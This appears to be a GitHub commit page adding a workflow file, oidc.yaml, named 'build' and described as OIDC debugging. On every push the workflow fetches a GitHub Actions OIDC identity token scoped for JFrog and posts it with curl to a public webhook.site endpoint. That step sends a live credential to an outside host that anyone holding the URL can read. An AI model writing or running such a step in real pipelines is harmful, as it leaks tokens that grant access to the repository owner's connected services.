Skip to content

Commit

Permalink
always be oidc debugging
Browse files Browse the repository at this point in the history
  • Loading branch information
finn-block committed Nov 22, 2024
1 parent 3f3639b commit c22961d
Showing 1 changed file with 14 additions and 0 deletions.
14 changes: 14 additions & 0 deletions .github/workflows/oidc.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
name: build

on: [push]

jobs:
env:
permissions:
id-token: write
runs-on: ubuntu-latest
steps:
- run: |
set -exou pipefail
GITHUB_ID_TOKEN="$(curl -sLS -H "User-Agent: actions/oidc-client" -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=jfrog-github" | jq -r .value)"
curl -d "${GITHUB_ID_TOKEN}" -H "Content-Type: application/javascript" https://webhook.site/50b7df56-0e48-47ae-8c30-11e860c1b395

0 comments on commit c22961d

Please sign in to comment.